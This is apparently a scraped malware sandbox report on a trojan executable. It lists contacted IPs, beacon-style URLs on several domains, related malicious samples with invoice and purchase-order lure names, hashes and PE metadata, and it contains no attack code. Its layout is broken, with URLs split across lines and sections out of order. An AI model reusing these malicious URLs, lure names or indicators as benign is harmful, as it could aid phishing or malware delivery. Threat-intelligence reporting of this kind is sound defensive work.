https://www.virustotal.com/gui/url/932b3c798ef42658c5664d8456903823730381b65ca3bf1154b8413dc8b860f8/detection/u-932b3c798ef42658c5664d8456903823730381b65ca3bf1154b8413dc8b860f8-1622613367


General Information

Joe Sandbox Version: 32.0.0 Black Diamond

Analysis ID: 432735

Start date: 10.06.2021

Start time: 17:57:04

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 11m 18s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: SKlGhwkzTi (renamed file extension from none to exe)

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 
Update 211

Number of analysed new started processes analysed: 19

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winEXE@8/1@8/7

EGA Information: Failed

HDC Information: Successful, ratio: 8.2% (good quality ratio 7.4%)
Quality average: 73.3%
Quality standard deviation: 31.4%

HCA Information: Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI

Warnings:

192.169.223.13 centergolosinas.com United States 26496 AS-26496-GO-DADDY-
COM-LLCUS

true

IP Domain Country Flag ASN ASN Name Malicious

Time Type Description

17:58:05 API Interceptor 1x Sleep call for process: SKlGhwkzTi.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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104.21.65.7 6d56768e_by_Libranalysis.exe Get hash malicious Browse  www.cyril
graze.com/p2io/?
hnKP
_0F0=PONkg
H6MO5ViG+z
jbj4YyU3gB
n/U0y1OFSt
IgCLmvXYcY
HdxqE5/6Lr
2O1VXv2W5r
EqXTgoC5w=
=&nfrxU8=y
VMtB8oP

APPROVED.xlsx Get hash malicious Browse  www.cyril
graze.com/p2io/?
6lzd
4R3=PONkgH
6JO+VmGu/v
Zj4YyU3gBn
/U0y1OFS1Y
8BXnr3YdY2
x3tUozsPT0
NTVR3XOxny
e2KQ==&Mj=
8pGl2P

lFfDzzZYTl.exe Get hash malicious Browse  www.cyril
graze.com/p2io/?
iBIXf4M=PONkgH
6MO5ViG+zj
bj4YyU3gBn
/U0y1OFStI
gCLmvXYcYH
dxqE5/6Lr2
O1VXv2W5rE
qXTgoC5w==
&_RAd4V=YL
0THJvhl8d

dw0Iro1gcR.exe Get hash malicious Browse  www.cyril
graze.com/p2io/?
0pk=FtxhArA&Fj
UHSn=PONkg
H6MO5ViG+z
jbj4YyU3gB
n/U0y1OFSt
IgCLmvXYcY
HdxqE5/6Lr
2O1ZX8ma6y
UqB

lfBVtTwPNQ.exe Get hash malicious Browse  www.cyril
graze.com/p2io/?
E48=
PONkgH6MO5
ViG+zjbj4Y
yU3gBn/U0y
1OFStIgCLm
vXYcYHdxqE
5/6Lr2O1Vu
wH26lS2QTg
oFqA==&oPq
LWb=dVeDBD
rHInjx

gqnTRCdv5u.exe Get hash malicious Browse  www.cyril
graze.com/p2io/?
K81d
7=PONkgH6M
O5ViG+zjbj
4YyU3gBn/U
0y1OFStIgC
LmvXYcYHdx
qE5/6Lr2O2
5ts36CozLG
&uTrL=Apdlbf

g0g865fQ2S.exe Get hash malicious Browse  www.cyril
graze.com/p2io/?
4h3=
PONkgH6MO5
ViG+zjbj4Y
yU3gBn/U0y
1OFStIgCLm
vXYcYHdxqE
5/6Lr2O25H
zHKCsxDG&v
TapK=LJBpc8p

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/323266/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/323266/html/none?idtype=webid
https://view.joesandbox.com/analysis/321687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321687/html/none?idtype=webid
https://view.joesandbox.com/analysis/299790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/299790/html/none?idtype=webid
https://view.joesandbox.com/analysis/295875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/295875/html/none?idtype=webid
https://view.joesandbox.com/analysis/295368/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/295368/html/none?idtype=webid
https://view.joesandbox.com/analysis/292040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292040/html/none?idtype=webid
https://view.joesandbox.com/analysis/286894/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/286894/html/none?idtype=webid


loMStbzHSP.exe Get hash malicious Browse  www.cyril
graze.com/p2io/?
7nEp
iRy=PONkgH
6MO5ViG+zj
bj4YyU3gBn
/U0y1OFStI
gCLmvXYcYH
dxqE5/6Lr2
O1VXv2W5rE
qXTgoC5w==
&sZvD8l=Spap-
DKpf

198.185.159.144 New Purchase Order20210609.exe Get hash malicious Browse  www.kokos
haveice.co
m/un8c/?3f-
H3H=aZaLI
E/CsZEbnkZ
XVKNJbEuEl
QpMoyTdbfB
zj8jhRt7Qi
lQZi3fXZMl
sJ6JzgR8z/
eaN&6lGd=H
BZ81PLPUzqhOj

LkvumUsaQX.exe Get hash malicious Browse  www.totally-
seo.com/p2io/?
7ntDA=TySV6YY
zJGXnavbEw
OCoDLKT5SC
+Z4HfI/S6W
oKTLKp4rrh
aLWxPw3pQ7
PESKodUP59
hGuNmhA==&
p48x=MN6xD
xf80FMxbj4

Payment slip.exe Get hash malicious Browse  www.shopk
aitek.com/3edq/?
2dUX-
PAP=M8eNv
F5zuYq6F34
lAt80R5nTr
aHCYrh0rbr
F9J+SqtSL9
q0uJh3MK9H
55PeJhjWLL
kFu&D6Otan
=1bu800r

New Order Vung Ang TPP Viet Nam.exe Get hash malicious Browse  www.kokos
haveice.co
m/un8c/?z8
b=iZspkzE0
JnS86&m6=a
ZaLIE/CsZE
bnkZXVKNJb
EuElQpMoyT
dbfBzj8jhR
t7QilQZi3f
XZMlsJ6Fzz
BwwmOab/JV
n8A==

tzeEeC2CBA.exe Get hash malicious Browse  www.totally-
seo.com/p2io/?
6lFp-=X8U4Iv&
Yr0=TySV6Y
YzJGXnavbE
wOCoDLKT5S
C+Z4HfI/S6
WoKTLKp4rr
haLWxPw3pQ
7MooJpxvMOcw

8mnXkjPdP0.exe Get hash malicious Browse  www.mkpri
cephoto.co
m/sh2m/?8p
QLN=M5mtQo
HkyhxvNjqV
lN4PGsv6kO
ee2cR+qVO1
qalFjtpNC9
HX6pJqwZiE
g4Ppodp8Iy
RJ90NYeQ==
&D6Ot3x=-Z
8XfPP

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/282941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/282941/html/none?idtype=webid
https://view.joesandbox.com/analysis/339666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339666/html/none?idtype=webid
https://view.joesandbox.com/analysis/338968/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338968/html/none?idtype=webid
https://view.joesandbox.com/analysis/338650/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338650/html/none?idtype=webid
https://view.joesandbox.com/analysis/338602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338602/html/none?idtype=webid
https://view.joesandbox.com/analysis/338513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338513/html/none?idtype=webid
https://view.joesandbox.com/analysis/338498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338498/html/none?idtype=webid


17jLieeOPx.exe Get hash malicious Browse  www.totally-
seo.com/p2io/?
D48=TySV6YYzJ
GXnavbEwOC
oDLKT5SC+Z
4HfI/S6WoK
TLKp4rrhaL
WxPw3pQ7Mo
oJpxvMOcw&
2dYX6=1b-D
6VYx

fMWJqYA8ae.exe Get hash malicious Browse  www.anewd
istraction
.com/p2io/?
d0=5juHFP
p&3fut_=ia
0dgIkdnBZI
LDuo3zp8eo
0tNiPxoXJf
kPpt6P05AA
Gh3ZPzSagL
TNX+xAc6EP
DBh5FJ4wio
Mw==

scan-copy059950059pdf.exe Get hash malicious Browse  www.brook
lynbrewbaz
aar.com/fmjo/?
2dS4Sp
X8=qUbk/uS
P+pf6p8qmG
7yr2cJmoye
0DgYz5erMR
yDDKx4Ymj9
j4BqWqohjb
tdVFlEBw6X
/&qXYlb=6l
NDIzXhO2g0

SKMBT_C224307532DL23457845_Product Order doc.exe Get hash malicious Browse  www.natur
albeautyap
parel.com/ftgq/?
8p=58hLLa3vc2E
aUDgAeKLsk
rXr8RI4DwN
7z0OiuDdYZ
F5g/qPz05b
ciOqqek20Y
kD5yVzPo95
r2g==&C48x
f8=VFQ8p8YH

rove.exe Get hash malicious Browse  www.weab3
.com/aipc/?
6lSp=ArO8
3PE0Mh0TtZ
a0&bv4=/8Z
60H0U3EWOv
TAhTSZ91XR
C3z3gfjmKn
Wg9Zo5Nhiv
UL2SmA7Vc3
Hh6HSm+FPn
gCfqp

Failure Notice Details  PDF.exe Get hash malicious Browse  www.the-v
ma.com/j6xw/?
pR-xqjW
=KJ21CI6nW
llw3jb6LNy
/7vVKy2oA2
dLgDihDwOE
UrsElLp9L7
M0HGY7NagS
ED+cXyB7S&
srL4=IdpX_
hpxaNVLNhX

1092991(JB#082).exe Get hash malicious Browse  www.shopk
aitek.com/3edq/?
JfEt9j6h=M8eNv
F5zuYq6F34
lAt80R5nTr
aHCYrh0rbr
F9J+SqtSL9
q0uJh3MK9H
55PeJhjWLL
kFu&ojn0d=
RzuliD

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/338379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338379/html/none?idtype=webid
https://view.joesandbox.com/analysis/338132/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338132/html/none?idtype=webid
https://view.joesandbox.com/analysis/337948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337948/html/none?idtype=webid
https://view.joesandbox.com/analysis/337595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337595/html/none?idtype=webid
https://view.joesandbox.com/analysis/336139/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/336139/html/none?idtype=webid
https://view.joesandbox.com/analysis/336090/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/336090/html/none?idtype=webid
https://view.joesandbox.com/analysis/335560/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335560/html/none?idtype=webid


Payment SWIFT_Pdf.exe Get hash malicious Browse  www.kelly
moorefilms
.com/5yue/?
GFNDG=9mA
+j1cgE0zxC
7u3qAlNO+W
rolxb+XCp7
JX8Z/rof2u
ElfHtAjnnd
bvjTcdg6uA
8+xkX&Jv7=
XVIXpLcx

#U20ac9,770 pdf.exe Get hash malicious Browse  www.cljca
ndles.com/pux4/?
Lv0h=urYAAIc58
DnUlhBmQa3
gzHotkVmoZ
0i8F09uLhq
yCxRxwOZO+
pPIwoj8ux/
FJwO59BkQz
bo13w==&Vl
Kt=wBNl4pd0L

HEN.exe Get hash malicious Browse  www.ports
idemonogra
ms.com/aipc/?
TlPt=tb
uhbkKiZMbT
51ggHlN5rc
c+6ZFSDnA6
5ra1I1/h1S
UWu7EEXe8D
iVlqCzHYPK
Zm0j3JlFNe
xg==&6l=mnSl

Taisier Med Surgical Sutures.exe Get hash malicious Browse  www.weab3
.com/aipc/?
K8kl=/8Z6
0H0U3EWOvT
AhTSZ91XRC
3z3gfjmKnW
g9Zo5NhivU
L2SmA7Vc3H
h6HSqHJuLg
VZ24lc1TFw
==&lxo8y=M
zuD_P1pZJ

Purchase Order.pdf.exe Get hash malicious Browse  www.jessi
carusselld
esign.com/gad0/?
1bB=YNKficl4Ju
MpHD9ZucCD
dKw50e3rZt
wSzoj4IBtn
MReh6UW5Qm
vMrqjFxOO0
E0XDXWWo&3
fS=dfc8-RnPKT4

DHL_119045_Receipt document,pdf.exe Get hash malicious Browse  www.womba
twellness.
com/vfm2/?
2d=mlyx&tz
r8=UK/k0ZY
UzZvJjxXC0
JaC6NFAiBc
JLAkUYbslN
P+YAqhew59
pS6ch9v0Je
xfzNGtQhbX
qRxr51g==

Pdf Scen Invoice 17INV06003.exe Get hash malicious Browse  www.paper
lessconsul
ting.com/s5cm/?
k2Jxo
V=fDKdgJeh
5&0bMpLRa=
OgwzyNm2z9
yPgyWx1Ise
xu6xb7DlPF
RlczqmtYSY
XM3VyngRt3
QDJ98NtJ5W
WIsYqkZ2

Match Associated Sample Name / URL SHA 256 Detection Link Context

Domains
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https://view.joesandbox.com/analysis/335507/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335507/html/none?idtype=webid
https://view.joesandbox.com/analysis/335280/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335280/html/none?idtype=webid
https://view.joesandbox.com/analysis/335152/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335152/html/none?idtype=webid
https://view.joesandbox.com/analysis/335130/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335130/html/none?idtype=webid
https://view.joesandbox.com/analysis/334927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334927/html/none?idtype=webid
https://view.joesandbox.com/analysis/334827/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334827/html/none?idtype=webid
https://view.joesandbox.com/analysis/334618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334618/html/none?idtype=webid


Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

CLOUDFLARENETUS RFQ-sib.exe Get hash malicious Browse 104.21.19.200

PO.doc Get hash malicious Browse 104.21.19.200

Evershedsnicea NDA file attach...htm Get hash malicious Browse 104.16.18.94

SecuriteInfo.com.Trojan.PackedNET.825.24532.exe Get hash malicious Browse 172.67.188.154

090049000009000.exe Get hash malicious Browse 104.21.19.200

Letter 1019.xlsx Get hash malicious Browse 172.67.161.4

fTxhRIDnrC.dll Get hash malicious Browse 104.20.185.68

Proforma Invoice and Bank swift-REG.PI-0086547654.exe Get hash malicious Browse 23.227.38.74

UGGJ4NnzFz.exe Get hash malicious Browse 23.227.38.74

Order.exe Get hash malicious Browse 104.21.40.174

DocumentScanCopy2021_pdf.exe Get hash malicious Browse 104.21.19.200

RRY0yKj2HM.dll Get hash malicious Browse 104.20.184.68

SecuriteInfo.com.Trojan.PackedNET.721.2973.exe Get hash malicious Browse 104.23.98.190

SecuriteInfo.com.Trojan.PackedNET.831.4134.exe Get hash malicious Browse 104.23.98.190

SWIFT COMMERCIAL DUTY 0218J.exe Get hash malicious Browse 172.67.188.154

p8Wo6PbOjL.exe Get hash malicious Browse 162.159.13
0.233

b7cgnOpObK.exe Get hash malicious Browse 104.21.19.200

Invoice 8-6-2021.exe Get hash malicious Browse 172.67.188.154

PO187439.exe Get hash malicious Browse 104.21.81.138

090009000000090.exe Get hash malicious Browse 104.21.19.200

PLUSSERVER-ASN1DE BL & INV.doc Get hash malicious Browse 31.210.20.45

BL & INV.doc Get hash malicious Browse 31.210.20.45

BL & INV.doc Get hash malicious Browse 31.210.20.45

8cuLxttsra.exe Get hash malicious Browse 31.210.21.161

Owbtvvu.exe Get hash malicious Browse 31.210.20.60

Inqquuirrryyy202106079768900100.exe Get hash malicious Browse 31.210.21.188

Swift MT103 Transfer.xlsx Get hash malicious Browse 31.210.20.45

inqqqqquiry9867120210406000900.exe Get hash malicious Browse 31.210.21.188

tzeEeC2CBA.exe Get hash malicious Browse 151.106.118.75

IMG_1741000.xlsx Get hash malicious Browse 31.210.20.45

QyKNw7NioL.exe Get hash malicious Browse 151.106.118.75

fMWJqYA8ae.exe Get hash malicious Browse 151.106.118.75

Compliance - Notice 06-03.xlsx Get hash malicious Browse 151.106.118.75

Request for Courtesy Call - Urgent.xlsx Get hash malicious Browse 151.106.118.75

Payment Advice Reference No SWT005262021.exe Get hash malicious Browse 31.210.20.60

Payment Advice Reference0000 docx.exe Get hash malicious Browse 31.210.20.60

BVYzIQc9Q3.exe Get hash malicious Browse 31.210.21.63

9XfX7aaf3F.exe Get hash malicious Browse 151.106.118.75

xhbUdeAoVP.exe Get hash malicious Browse 151.106.118.75

20210524_0019019939010.exe Get hash malicious Browse 31.210.21.188

SQUARESPACEUS New Purchase Order20210609.exe Get hash malicious Browse 198.185.15
9.144

LkvumUsaQX.exe Get hash malicious Browse 198.185.15
9.144

Payment slip.exe Get hash malicious Browse 198.185.15
9.144

New Order Vung Ang TPP Viet Nam.exe Get hash malicious Browse 198.185.15
9.144

tzeEeC2CBA.exe Get hash malicious Browse 198.185.15
9.144

8mnXkjPdP0.exe Get hash malicious Browse 198.185.15
9.144

17jLieeOPx.exe Get hash malicious Browse 198.185.15
9.144

fMWJqYA8ae.exe Get hash malicious Browse 198.185.15
9.144

scan-copy059950059pdf.exe Get hash malicious Browse 198.185.15
9.144

SKMBT_C224307532DL23457845_Product Order doc.exe Get hash malicious Browse 198.185.15
9.144

rove.exe Get hash malicious Browse 198.185.15
9.144

ASN
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https://view.joesandbox.com/analysis/340168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340168/html/none?idtype=webid
https://view.joesandbox.com/analysis/340135/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340135/html/none?idtype=webid
https://view.joesandbox.com/analysis/340127/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340127/html/none?idtype=webid
https://view.joesandbox.com/analysis/340116/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340116/html/none?idtype=webid
https://view.joesandbox.com/analysis/340106/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340106/html/none?idtype=webid
https://view.joesandbox.com/analysis/340098/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340098/html/none?idtype=webid
https://view.joesandbox.com/analysis/340093/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340093/html/none?idtype=webid
https://view.joesandbox.com/analysis/340070/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340070/html/none?idtype=webid
https://view.joesandbox.com/analysis/340069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340069/html/none?idtype=webid
https://view.joesandbox.com/analysis/340062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340062/html/none?idtype=webid
https://view.joesandbox.com/analysis/340060/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340060/html/none?idtype=webid
https://view.joesandbox.com/analysis/340056/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340056/html/none?idtype=webid
https://view.joesandbox.com/analysis/340024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340024/html/none?idtype=webid
https://view.joesandbox.com/analysis/340021/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340021/html/none?idtype=webid
https://view.joesandbox.com/analysis/340009/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340009/html/none?idtype=webid
https://view.joesandbox.com/analysis/339993/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339993/html/none?idtype=webid
https://view.joesandbox.com/analysis/339961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339961/html/none?idtype=webid
https://view.joesandbox.com/analysis/339958/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339958/html/none?idtype=webid
https://view.joesandbox.com/analysis/339956/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339956/html/none?idtype=webid
https://view.joesandbox.com/analysis/339954/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339954/html/none?idtype=webid
https://view.joesandbox.com/analysis/340079/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340079/html/none?idtype=webid
https://view.joesandbox.com/analysis/340073/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340073/html/none?idtype=webid
https://view.joesandbox.com/analysis/340071/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/340071/html/none?idtype=webid
https://view.joesandbox.com/analysis/339611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339611/html/none?idtype=webid
https://view.joesandbox.com/analysis/338860/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338860/html/none?idtype=webid
https://view.joesandbox.com/analysis/338841/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338841/html/none?idtype=webid
https://view.joesandbox.com/analysis/338795/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338795/html/none?idtype=webid
https://view.joesandbox.com/analysis/338579/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338579/html/none?idtype=webid
https://view.joesandbox.com/analysis/338513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338513/html/none?idtype=webid
https://view.joesandbox.com/analysis/338491/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338491/html/none?idtype=webid
https://view.joesandbox.com/analysis/338136/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338136/html/none?idtype=webid
https://view.joesandbox.com/analysis/338132/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338132/html/none?idtype=webid
https://view.joesandbox.com/analysis/338068/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338068/html/none?idtype=webid
https://view.joesandbox.com/analysis/338067/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338067/html/none?idtype=webid
https://view.joesandbox.com/analysis/335185/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335185/html/none?idtype=webid
https://view.joesandbox.com/analysis/335183/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335183/html/none?idtype=webid
https://view.joesandbox.com/analysis/335114/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335114/html/none?idtype=webid
https://view.joesandbox.com/analysis/334483/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334483/html/none?idtype=webid
https://view.joesandbox.com/analysis/334409/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334409/html/none?idtype=webid
https://view.joesandbox.com/analysis/333506/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/333506/html/none?idtype=webid
https://view.joesandbox.com/analysis/339666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339666/html/none?idtype=webid
https://view.joesandbox.com/analysis/338968/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338968/html/none?idtype=webid
https://view.joesandbox.com/analysis/338650/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338650/html/none?idtype=webid
https://view.joesandbox.com/analysis/338602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338602/html/none?idtype=webid
https://view.joesandbox.com/analysis/338513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338513/html/none?idtype=webid
https://view.joesandbox.com/analysis/338498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338498/html/none?idtype=webid
https://view.joesandbox.com/analysis/338379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338379/html/none?idtype=webid
https://view.joesandbox.com/analysis/338132/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/338132/html/none?idtype=webid
https://view.joesandbox.com/analysis/337948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337948/html/none?idtype=webid
https://view.joesandbox.com/analysis/337595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/337595/html/none?idtype=webid
https://view.joesandbox.com/analysis/336139/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/336139/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assemb

ly, for MS Windows

Entropy (8bit): 7.543136116156561

Failure Notice Details  PDF.exe Get hash malicious Browse 198.185.15
9.144

1092991(JB#082).exe Get hash malicious Browse 198.185.15
9.144

Payment SWIFT_Pdf.exe Get hash malicious Browse 198.185.15
9.144

#U20ac9,770 pdf.exe Get hash malicious Browse 198.185.15
9.144

HEN.exe Get hash malicious Browse 198.185.15
9.144

Taisier Med Surgical Sutures.exe Get hash malicious Browse 198.185.15
9.144

Purchase Order.pdf.exe Get hash malicious Browse 198.185.15
9.144

DHL_119045_Receipt document,pdf.exe Get hash malicious Browse 198.185.15
9.144

Qgc2Nreer3.exe Get hash malicious Browse 198.185.15
9.176

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SKlGhwkzTi.exe.log

Process: C:\Users\user\Desktop\SKlGhwkzTi.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1314

Entropy (8bit): 5.350128552078965

Encrypted: false

SSDEEP: 24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR

MD5: 1DC1A2DCC9EFAA84EABF4F6D6066565B

SHA1: B7FCF805B6DD8DE815EA9BC089BD99F1E617F4E9

SHA-256: 28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF

SHA-512: 95DD7E2AB0884A3EFD9E26033B337D1F97DDF9A8E9E9C4C32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E191802
B7

Malicious: true

Reputation: high, very likely benign file

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Wind
ows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, 
PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeIma
ges_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, Publi
cKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration
.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/336090/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/336090/html/none?idtype=webid
https://view.joesandbox.com/analysis/335560/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335560/html/none?idtype=webid
https://view.joesandbox.com/analysis/335507/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335507/html/none?idtype=webid
https://view.joesandbox.com/analysis/335280/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335280/html/none?idtype=webid
https://view.joesandbox.com/analysis/335152/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335152/html/none?idtype=webid
https://view.joesandbox.com/analysis/335130/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335130/html/none?idtype=webid
https://view.joesandbox.com/analysis/334927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334927/html/none?idtype=webid
https://view.joesandbox.com/analysis/334827/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334827/html/none?idtype=webid
https://view.joesandbox.com/analysis/334656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/334656/html/none?idtype=webid


TrID: Win32 Executable (generic) Net Framework 
(10011505/4) 49.79%
Win32 Executable (generic) a (10002005/4) 
49.75%
Generic CIL Executable (.NET, Mono, etc.) 
(73296/58) 0.36%
Windows Screen Saver (13104/52) 0.07%
Win16/32 Executable Delphi generic (2074/23) 
0.01%

File name: SKlGhwkzTi.exe

File size: 782336

MD5: 8252e0bd8e579259cc18ceae0c5c6d64

SHA1: 242c3feb78e57de5c30b6f4f6b6d5d9b3332eb08

SHA256: 21b3aba425cfa96bd3c5db2b306591a3a2aa1c8ee6fbded
dfdf60b5e1c0df0ea

SHA512: 58be9b9c10d14a695b1b36315528eadc8d5f0380f806181
4bb4d1d0eafd5c2a4293f5f36249befa44a15932dcb5543
71e32ceaa418d51236ca22740893e46c08

SSDEEP: 12288:ldam8GlMV40J8Sd2AjMqioxcYP3iJ9LfPnkSrIlG
OLq+hJickHu9ue6eO1wPIl:ldam8GUwxucYP3ojn5rIAQ
qEickHu8VZ

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......PE..L...
<..`.....................N........... ........@.. .......................@.......
.....@................................

General

File Icon

Icon Hash: b6f8c8dccce06110

General
Entrypoint: 0x4bbf1e

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x60C0873C [Wed Jun  9 09:17:48 2021 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0xb9f24 0xba000 False 0.81059937836 data 7.59789627336 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rsrc 0xbc000 0x4b68 0x4c00 False 0.469212582237 data 4.53035066052 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

